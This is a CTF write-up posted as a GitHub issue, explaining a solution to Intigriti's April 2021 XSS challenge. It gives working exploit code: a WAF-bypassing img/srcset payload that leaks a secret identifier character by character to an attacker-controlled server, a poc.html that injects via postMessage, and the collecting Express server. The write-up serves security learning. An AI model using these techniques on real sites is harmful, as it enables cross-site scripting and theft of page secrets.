aszx87410 / ctf-writeups

ctf writeups
62 stars 9 forks source link

Writeup: Intigriti's 0421 XSS challenge - by @terjanq #33

Open aszx87410 opened 3 years ago

aszx87410 commented 3 years ago
截圖 2021-04-26 上午9 36 01

challenge link: Intigriti's 0421 XSS challenge - by @terjanq

The full writeup is a little bit long because I want to write what I have tried and how I found the solution in details. If you are not interested in reading, you can just check the tl;dr section below and the source code at the end of the article.

TL;DR

  1. Open target in a new window
  2. Set current identifier we found to location.hash
  3. Compare location.hash with identifier to leak it one byte after another
  4. Leak via img.src and received result on the server
  5. Return to step 2 until we have full identifier
  6. postMessage to perform XSS

There is no working POC online because it requires a server to run and I have no plan to host it. Below is the video recording, you can check it first:

  1. Chrome: https://youtu.be/V_pM16PrBb8
  2. Firefox: https://youtu.be/v4OlsuqvdLY

If you really want to see and reproduce it, I provide the source code at the end, you can run a server and check it yourself. But the server is a little buggy, you may need to manually restart the server if it's broken.

Writeup in details

There are two pages for this XSS challenge, index and waf.html, below is the JS part of index page:

const wafIframe = document.getElementById('wafIframe').contentWindow;
const identifier = getIdentifier();

function getIdentifier() {
    const buf = new Uint32Array(2);
    crypto.getRandomValues(buf);
    return buf[0].toString(36) + buf[1].toString(36)
}

function htmlError(str, safe){
    const div = document.getElementById("error-content");
    const container = document.getElementById("error-container");
    container.style.display = "block";
    if(safe) div.innerHTML = str;
    else div.innerText = str;
    window.setTimeout(function(){
      div.innerHTML = "";
      container.style.display = "none";
    }, 10000);
}

function addError(str){
    wafIframe.postMessage({
        identifier,
        str
    }, '*');
}

window.addEventListener('message', e => {
    if(e.data.type === 'waf'){
        if(identifier !== e.data.identifier) throw /nice try/
        htmlError(e.data.str, e.data.safe)
    }
});

window.onload = () => {
    const error = (new URL(location)).searchParams.get('error');
    if(error !== null) addError(error);
}

This file is simple, it sends error query string to waf.html via window.postMessage, and append the returned value into DOM.

The key here is, we need to let e.data.safe be true, otherwise we can only insert pure string.

Let's take a look at waf.html:

onmessage = e => {
    const identifier = e.data.identifier;
    e.source.postMessage({
        type:'waf',
        identifier,
        str: e.data.str,
        safe: (new WAF()).isSafe(e.data.str)
    },'*');
}

function WAF() {
    const forbidden_words = ['<style', '<iframe', '<embed', '<form', '<input', '<button', '<svg', '<script', '<math', '<base', '<link', 'javascript:', 'data:'];
    const dangerous_operators = ['"', "'", '`', '(', ')', '{', '}', '[', ']', '=']

    function decodeHTMLEntities(str) {
        var ta = document.createElement('textarea');
        ta.innerHTML = str;
        return ta.value;
    }

    function onlyASCII(str){
        return str.replace(/[^\x21-\x7e]/g,'');
    }

    function firstTag(str){
        return str.search(/<[a-z]+/i)
    }

    function firstOnHandler(str){
        return str.search(/on[a-z]{3,}/i)
    }

    function firstEqual(str){
        return str.search(/=/);
    }

    function hasDangerousOperators(str){
        return dangerous_operators.some(op=>str.includes(op));
    }

    function hasForbiddenWord(str){
        return forbidden_words.some(word=>str.search(new RegExp(word, 'gi'))!==-1);
    }

    this.isSafe = function(str) {
        let decoded = onlyASCII(decodeHTMLEntities(str));

        const first_tag = firstTag(decoded);
        if(first_tag === -1) return true;
        decoded = decoded.slice(first_tag);

        if(hasForbiddenWord(decoded)) return false;

        const first_on_handler = firstOnHandler(decoded);
        if(first_on_handler === -1) return true;
        decoded = decoded.slice(first_on_handler)

        const first_equal = firstEqual(decoded);
        if(first_equal === -1) return true;
        decoded = decoded.slice(first_equal+1);

        if(hasDangerousOperators(decoded)) return false;
        return true;
    }
}

When the page received the message, it checks if there are any forbidden or dangerous words. The rules are quite strict and just leave a tiny room for XSS.

I found that we can use <img src=x onerror=xxx> to bypass the tag check to run JavaScript.

But this is just the beginning, we can't use string in JS because ', ", and ` are all blocked.

Moreover, []{}() and = are also blocked, so we can't call any function and do the assignment.

The restriction here is crazy, I don't know how to do for a couple of hours. In the end I can only come up with: <img src=x onerror=throw/0/+identifier> to throw identifier as error message, but there is no way to read this message cross origin.

The hint

At first, I tried to perform XSS directly via error query string, but after a while I started to think if it's really possible.

I googled xss without parentheses and found this: XSS Without parentheses, but it's not so useful because of the WAF restriction.

One day, I saw the hint:

"Behind a Greater Oracle there stands one great Identity" (leak it)

Oh, maybe I was in the wrong way. I knew that there are actually two possible ways to perform XSS, the one is via error directly and another one is via postMessage.

We can't embed index page in iframe because of the x-frame-options header, but we can use window.open to open it and have the access on it.

Then, we can postMessage to the window and pass anything we want with safe: true:

xssWin.postMessage({
  type: 'waf',
  identifier: '????',
  str: '<img src=xxx onerror=alert("flag{THIS_IS_THE_FLAG}")>',
  safe: true
}, '*')

By doing so, we can also perform XSS. I thought this way is impossible because we don't know what is the identifier.

After I saw the hint, I knew it should be possible, and it's the right way to solve this challenge.

I think the attack flow will be something like this:

  1. open poc.html
  2. from poc.html, window.open target page with the payload which can leak identifier
  3. If step2 is success, now we know what is the identifier and we can postMessage to perform XSS
  4. win!

But there are two problems we need to solve

  1. How to leak a string
  2. How to send leaked info to parent window?

How to leak a string?

I came up with something like this: <img src=x onerror=identifier<'a'?leak_it:try_another_char>

We can't use if else but we can use ternary, we can't use === to check but we can use < instead.

But how about string? We can't use string, so '0' is illegal. It's easy, we can leverage DOM id access and innerText or other properties:

<div id=a>a</div>
<img src=x onerror=identifier<a.innerText?leak_it:try_another_char>

for try_another_char, we can use another ternary:

<div id=a>a</div>
<img src=x onerror=
identifier<a.innerText?leak_a:
identifier<b.innerText?leak_b:keep_trying>

It's like flatten the for loop and replace the for loop with ternary.

It looks nice and we know what is the first character of identifier. But what about the second character?identifier[1] is not allow. What can I do to get the second character of identifier?

I was stuck here for a very, very long time, and I came up with an idea: what if I can make it a number?

If identifier were a number, it's much easier to leak it byte by byte:

var identifier = 123

identifier&1?console.log(1):
console.log(0);
identifier&2?console.log(1):
console.log(0);
identifier&4?console.log(1):
console.log(0);
identifier&8?console.log(1):
console.log(0);
// ...

To transform a string to number, besides function call like Number() or parseInt(), we can use +str. There are alphabets in identifier, so we can make it a hex number by prepending '0x': '0x'+identifier

var identifier = 'a4' // 164
// 10100100

'0x'+identifier&1?console.log(1):
console.log(0);
'0x'+identifier&2?console.log(1):
console.log(0);
'0x'+identifier&4?console.log(1):
console.log(0);
'0x'+identifier&8?console.log(1):
console.log(0);

But the problem is, it's not guarantee that identifier can be cast to number.

var count = 0
for(let i=0; i<100000;i++) {
  var id = getIdentifier()
  if (!Number.isNaN(Number('0x' + id))) {
    count++
  }
}
// 7, 0.007
console.log(count, (count * 100) / 100000)

It's about 0.01% chance, which we can transform the identifier from string to number.

At least I have 0.01% chance, better than 0.

After keep fighting and thinking how to get substring without [] and (), I thought that's all I can do and it's too hard for me to solve it.

But, even I can't solve this harder version, I still want to have a solution on this simpler one. So let's assume identifier can be cast to number and keep moving forward.

How to send data out?

We can't use variable, we can't call any function, even we know what is the identifier, how to pass this information to my own website?

I tried to see if there is anything writable on window.opener properties, but unfortunately none.

I can't even do the assignment, how to send data at the correct moment?

Again, thanks for the hint, at first I don't know what is it, but now I know:

Here's an extra tip: ++ is also an assignment

I have an idea about how to leak the data by leveraging lazy loading feature. We can let image lazy loaded and make it invisible first:

<div style=height:9999px></div>
<img src=x00 loading=lazy id=x00>
<img src=x01 loading=lazy id=x01>
<img src=x10 loading=lazy id=x10>
<img src=x11 loading=lazy id=x11>

For example, x00 means the last bit of identifier is 0, x11 means the length-1 bit is 1. When certain condition matched, we do x00.loading++, so x00.loading become NaN. After the loading attribute became NaN, it's not lazy anymore and the browser will try to load the image.

<body>
  <div style=height:9999px id=a>0x</div>
  <img src=https://example.com/x00 id=x00 loading=lazy>
  <img src=https://example.com/x01 id=x01 loading=lazy>
  <img src=https://example.com/x10 id=x10 loading=lazy>
  <img src=https://example.com/x11 id=x11 loading=lazy>
  <img src=https://example.com/x20 id=x20 loading=lazy>
  <img src=https://example.com/x21 id=x21 loading=lazy>
  <img src=x onerror=a.innerText+identifier&1?x01.loading++:x00.loading++;a.innerText+identifier&2?x11.loading++:x10.loading++;a.innerText+identifier&4?x21.loading++:x20.loading++ >
</body>
<script>
  var identifier = 'a4' // 164
  // 10100100

</script>

By knowing which request has been sent to server, we know what is the identifier and we can send it via websocket or long polling from server to poc.html to perform XSS.

If identifier only contains 0-9a-f, I could solve it.

Think another way

I feel I was closer to the real answer after I solved the simpler one. Maybe just one step or two steps, but I can't find what is it even I spent hours on it.

There are one final question need to be resolved:

  1. How to access identifier[x]?

After a while, I gave up this way. I believe that It's impossible to access identifier[x].

But I haven't gave up on this challenge yet, can't access identifier[x] doesn't mean I can't conquer this challenge.

I want to access it because I want to know what is it. What if there is another way to know without accessing it?

If there is a place for us to store the identifier we found so far, we can do something like this:

<body>
  <script>
    var identifier = 'z123'
    var found = 'z'
  </script>
  <div id=a>a</div>
  <div id=b>b</div>
  <img src=x onerror=identifier<found+1?found+=1&&leak:identifier<found+a.innerText?found+=a.innerText&&leak:identifier<found+b.innerText?found+=b.innerText&&leak:keep_trying>
</body>

By comparing the concatenated string, we know what is the nth element in identifier. In order to know all the elements, we need to have something like for loop.

We can achieve this by setting img src again and gain:

<body>
  <script>
    var count = 1
  </script>
  <img src=x onerror=count<10?count++&&src++:console.log(count)>
</body>

count++&&src++ can be reaplced with count++ + src++.

So now we have two more problems:

  1. Lazy load trick above can only send data one time, it's okay for number but not okay for string
  2. Where to store the information we found?

For the first question, every request we want to send need to have one img element because once we do image.loading++, request will be sent and that's all, there are no second chance.

I checked the documentations about <img> to see if there is anything I can use. After trying for a while, to my surprise, src and srcset work!

When you have srcset and src both set, the browser ignore src and load srcset only. But when you do img.src++ to update the src attribute(not real "update" because change from NaN to NaN also works), the browser will load the image url in srcset again.

This will load x2 for 10 times.

<body>
  <script>
    var count = 1
  </script>
  <img src=x1 srcset=x2 onerror=count<10?count+++this.src++:123>
</body>

For the second question, I found that I can utilize location.hash! Because I can update the hash part without refreshing and it's allow to update location from opener. I can combine # and identifier then compare with location.hash + character.

<img id=n0 alt=# src=//server/0>
<img id=n1 alt=1 src=//server/1>
<img id=n2 alt=2 src=//server/2>
<img id=n10 alt=a src=//server/a>

<img id=lo srcset=//server/loop onerror=
n0.alt+identifier<location.hash+1?n1.src+++lo.src++:
n0.alt+identifier<location.hash+2?n2.src+++lo.src++:
n0.alt+identifier<location.hash+n10.alt?n10.src+++lo.src++:
...>

There is one important thing to note, location.hash can't be #. If url is url#, hash is an empty string instead of #. To solve this problem, I start with #1 and assume the first character of identifier is 1. If it's not, I will close the window and try again.

Final exploit

Piece all the things I mentioned above, the flow will be something like this:

  1. I have a server to decide when to response because I need to control the flow
  2. There is a poc.html file
  3. Open poc.html, it opens the target in a new window
  4. Leak identifier[n] via image, run "img-based for loop"
  5. Before another loop start, we need to update location.hash to make sure it reflects the info we just found. We can hold the response on server side until we updated location.hash.
  6. After location.hash gets updated, let loop continue by responding the request on server. img got response and trigger onerror event again with new location.hash, leak next character.
  7. Keep leaking until token.length > 10 (the length should be 10~14, we don't know what is the correct length so just try it)
  8. Try to postMessag and perform XSS

It's a little bit complicated because we need to run a server to control the image based loop by holding the response and release it at the right time.

Here is the poc.html, I updated the format for better readability:

var payload = `
<img srcset=//my_server/0 id=n0 alt=#>
<img srcset=//my_server/1 id=n1 alt=a>
<img srcset=//my_server/2 id=n2 alt=b>
<img srcset=//my_server/3 id=n3 alt=c>
<img srcset=//my_server/4 id=n4 alt=d>
<img srcset=//my_server/5 id=n5 alt=e>
<img srcset=//my_server/6 id=n6 alt=f>
<img srcset=//my_server/7 id=n7 alt=g>
<img srcset=//my_server/8 id=n8 alt=h>
<img srcset=//my_server/9 id=n9 alt=i>
<img srcset=//my_server/a id=n10 alt=j>
<img srcset=//my_server/b id=n11 alt=k>
<img srcset=//my_server/c id=n12 alt=l>
<img srcset=//my_server/d id=n13 alt=m>
<img srcset=//my_server/e id=n14 alt=n>
<img srcset=//my_server/f id=n15 alt=o>
<img srcset=//my_server/g id=n16 alt=p>
<img srcset=//my_server/h id=n17 alt=q>
<img srcset=//my_server/i id=n18 alt=r>
<img srcset=//my_server/j id=n19 alt=s>
<img srcset=//my_server/k id=n20 alt=t>
<img srcset=//my_server/l id=n21 alt=u>
<img srcset=//my_server/m id=n22 alt=v>
<img srcset=//my_server/n id=n23 alt=w>
<img srcset=//my_server/o id=n24 alt=x>
<img srcset=//my_server/p id=n25 alt=y>
<img srcset=//my_server/q id=n26 alt=z>
<img srcset=//my_server/r id=n27 alt=0>
<img srcset=//my_server/s id=n28>
<img srcset=//my_server/t id=n29>
<img srcset=//my_server/u id=n30>
<img srcset=//my_server/v id=n31>
<img srcset=//my_server/w id=n32>
<img srcset=//my_server/x id=n33>
<img srcset=//my_server/y id=n34>
<img srcset=//my_server/z id=n35>

<img id=lo srcset=//my_server/loop onerror=
n0.alt+identifier<location.hash+1?n0.src+++lo.src++:
n0.alt+identifier<location.hash+2?n1.src+++lo.src++:
n0.alt+identifier<location.hash+3?n2.src+++lo.src++:
n0.alt+identifier<location.hash+4?n3.src+++lo.src++:
n0.alt+identifier<location.hash+5?n4.src+++lo.src++:
n0.alt+identifier<location.hash+6?n5.src+++lo.src++:
n0.alt+identifier<location.hash+7?n6.src+++lo.src++:
n0.alt+identifier<location.hash+8?n7.src+++lo.src++:
n0.alt+identifier<location.hash+9?n8.src+++lo.src++:
n0.alt+identifier<location.hash+n1.alt?n9.src+++lo.src++:
n0.alt+identifier<location.hash+n2.alt?n10.src+++lo.src++:
n0.alt+identifier<location.hash+n3.alt?n11.src+++lo.src++:
n0.alt+identifier<location.hash+n4.alt?n12.src+++lo.src++:
n0.alt+identifier<location.hash+n5.alt?n13.src+++lo.src++:
n0.alt+identifier<location.hash+n6.alt?n14.src+++lo.src++:
n0.alt+identifier<location.hash+n7.alt?n15.src+++lo.src++:
n0.alt+identifier<location.hash+n8.alt?n16.src+++lo.src++:
n0.alt+identifier<location.hash+n9.alt?n17.src+++lo.src++:
n0.alt+identifier<location.hash+n10.alt?n18.src+++lo.src++:
n0.alt+identifier<location.hash+n11.alt?n19.src+++lo.src++:
n0.alt+identifier<location.hash+n12.alt?n20.src+++lo.src++:
n0.alt+identifier<location.hash+n13.alt?n21.src+++lo.src++:
n0.alt+identifier<location.hash+n14.alt?n22.src+++lo.src++:
n0.alt+identifier<location.hash+n15.alt?n23.src+++lo.src++:
n0.alt+identifier<location.hash+n16.alt?n24.src+++lo.src++:
n0.alt+identifier<location.hash+n17.alt?n25.src+++lo.src++:
n0.alt+identifier<location.hash+n18.alt?n26.src+++lo.src++:
n0.alt+identifier<location.hash+n19.alt?n27.src+++lo.src++:
n0.alt+identifier<location.hash+n20.alt?n28.src+++lo.src++:
n0.alt+identifier<location.hash+n21.alt?n29.src+++lo.src++:
n0.alt+identifier<location.hash+n22.alt?n30.src+++lo.src++:
n0.alt+identifier<location.hash+n23.alt?n31.src+++lo.src++:
n0.alt+identifier<location.hash+n24.alt?n32.src+++lo.src++:
n0.alt+identifier<location.hash+n25.alt?n33.src+++lo.src++:
n0.alt+identifier<location.hash+n26.alt?n34.src+++lo.src++:
n35.src+++lo.src++>`
<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8">
  </head>
  <body>  
  </body>
  <script>
    var payload = // see above
    payload = encodeURIComponent(payload)

    var baseUrl = 'https://my_server'

    // reset first
    fetch(baseUrl + '/reset').then(() => {
      start()
    })

    async function start() {
      // assume identifier start with 1
      console.log('POC started')
      if (window.xssWindow) {
        window.xssWindow.close()
      }

      window.xssWindow = window.open(`https://challenge-0421.intigriti.io/?error=${payload}#1`, '_blank')

      polling()
    }

    function polling() {
      fetch(baseUrl + '/polling').then(res => res.text()).then((token) => {

        // guess fail, restart
        if (token === '1zz') {
          fetch(baseUrl + '/reset').then(() => {
            console.log('guess fail, restart')
            start()
          })
          return
        }

        if (token.length >= 10) {
          window.xssWindow.postMessage({
            type: 'waf',
            identifier: token,
            str: '<img src=xxx onerror=alert("flag{THIS_IS_THE_FLAG}")>',
            safe: true
          }, '*')
        }

        window.xssWindow.location = `https://challenge-0421.intigriti.io/?error=${payload}#${token}`

        // After POC finsihed, polling will timeout and got error message, I don't want to print the message
        if (token.length > 20) {
          return
        }

        console.log('token:', token)
        polling()
      })
    }
  </script>
</html>

And it's the code for server:

var express = require('express')

const app = express()

app.use(express.static('public'));
app.use((req, res, next) => {
  res.set('Access-Control-Allow-Origin', '*');
  next()
})

const handlerDelay = 100
const loopDelay = 550

var initialData = {
  count: 0,
  token: '1',
  canStartLoop: false,
  loopStarted: false,
  canSendBack: false
}
var data = {...initialData}

app.get('/reset', (req, res) => {
  data = {...initialData}
  console.log('======reset=====')
  res.end('reset ok')
})

app.get('/polling', (req, res) => {
  function handle(req, res) {
    if (data.canSendBack) {
      data.canSendBack = false
      res.status(200)
      res.end(data.token)
      console.log('send back token:', data.token)

      if (data.token.length < 14) {
        setTimeout(() => {
          data.canStartLoop = true
        }, loopDelay)
      }
    } else {
      setTimeout(() => {
        handle(req, res)
      }, handlerDelay)
    }
  }

  handle(req, res)
})

app.get('/loop', (req, res) => {
  function handle(req, res) {
    if (data.canStartLoop) {
      data.canStartLoop = false
      res.status(500)
      res.end()
    } else {
      setTimeout(() => {
        handle(req, res)
      }, handlerDelay)
    }
  }

  handle(req, res)
})

app.get('/:char', (req, res) => {
  // already start stealing identifier
  if (req.params.char.length > 1) {
    res.end()
    return
  }
  console.log('char received', req.params.char)
  if (data.loopStarted) {
    data.token += req.params.char
    console.log('token:', data.token)
    data.canSendBack = true

    res.status(500)
    res.end()
    return 
  }

  // first round
  data.count++
  if (data.count === 36) {
    console.log('initial image loaded, start loop')
    data.count = 0
    data.loopStarted = true
    data.canStartLoop = true
  }
  res.status(500)
  res.end()
})

app.listen(5555, () => {
  console.log('5555')
})

Flow in details:

  1. Open POC.html, reset the server and open a new window (name it as xssWindow)
  2. Load initial images and /loop
  3. Hold the response for /loop until we received all initial images request
  4. Release the response for /loop on server side to trigger onerror event on client side, leak one character by loading corresponding image. Start another loop.
  5. Server side received leaked character, send it back to POC.html via /polling. Hold the loop again and release it after 500ms
  6. POC.html received new identifier we found, update xssWindow.location.hash
  7. if identifer.length > 10, try to post message to xssWindow
  8. back to step 4 until XSS success

When poc.html loaded, it loads images immediately so we need to ignore the first request and start img loop after images loaded. I can't use lazy loading here because payload will become too big and cause server side error.

The /polling part can be replaced with websocket, we I am lazy to do it so I use long polling to send data back from server to poc.html.

Both poc.html and server side code can be improved for sure, but I didn't because I am lazy and I don't have time to do it so I use workaround instead, like assuming identifier start with 1 and trying to post message after we have part of identifier when length > 10.

Footnote

This XSS challenge is quite hard but also extremely interesting! I spent almost a week to try to solve it, every day I think I am closer, and finally I made it.

Thanks @terjanq for this fun XSS challenge. I learned a lot from it.

aszx87410 commented 3 years ago

writeup from the author:

https://easterxss.terjanq.me/writeup.html

aszx87410 commented 3 years ago

Another cool solution uses <audio>: https://kul.tom.vg/intigrity-easter-xss.html

https://twitter.com/tomvangoethem/status/1386655378612576257